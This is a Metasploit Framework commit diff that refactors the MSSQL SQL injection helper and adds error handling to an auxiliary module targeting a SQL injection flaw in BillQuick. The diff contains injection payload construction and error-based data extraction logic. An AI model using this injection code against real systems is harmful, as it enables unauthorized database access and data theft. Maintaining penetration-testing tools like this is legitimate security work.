Skip to content

Commit 90937e6

Browse files
committed
Address feedback from space-r7
1 parent 87a21bd commit 90937e6

File tree

2 files changed

+9
-15
lines changed

2 files changed

+9
-15
lines changed

lib/msf/core/exploit/sqli/mssqli/common.rb

Lines changed: 6 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
#
55
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
66
# needed when performing SQL injection.
7-
# Instanciate it only if you get the query results of your SQL injection returned on the response.
7+
# Instantiate it only if you get the query results of your SQL injection returned on the response.
88
#
99
module Msf::Exploit::SQLi::Mssqli
1010
class Common < Msf::Exploit::SQLi::Common
@@ -123,23 +123,15 @@ def enum_table_columns(table_name)
123123
def dump_table_fields(table, columns, condition = '', num_limit = 0)
124124
return '' if columns.empty?
125125

126-
one_column = columns.length == 1
127-
column_names = columns
128-
129-
if one_column
130-
columns = "cast(isnull(#{columns.first},'#{@null_replacement}') as varchar(max))"
131-
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
132-
else
133-
columns = columns.map do |col|
134-
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
135-
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
136-
end.join("+'#{@second_concat_separator}'+")
137-
end
126+
columns = columns.map do |col|
127+
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
128+
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
129+
end.join("+'#{@second_concat_separator}'+")
138130
unless condition.empty?
139131
condition = ' where ' + condition
140132
end
141133
num_limit = num_limit.to_i
142-
limit = num_limit > 0 ? ' top ' + num_limit.to_s : ''
134+
limit = num_limit > 0 ? " top #{num_limit}" : ''
143135
retrieved_data = nil
144136
identifier_generator = Rex::RandomIdentifier::Generator.new
145137
if @safe

modules/auxiliary/gather/billquick_txtid_sqli.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,9 @@ def run
136136
sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|
137137
int = Rex::Text.rand_text_numeric(4)
138138
res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)
139-
error_info(res)[/\\u0027(.+?)\\u0027/m, 1]
139+
err_info = error_info(res)
140+
print_error('Unexpected output from the server') if err_info.nil?
141+
err_info[/\\u0027(.+?)\\u0027/m, 1]
140142
end
141143

142144
# all inject strings taken from sqlmap runs, using error page method

0 commit comments

Comments
 (0)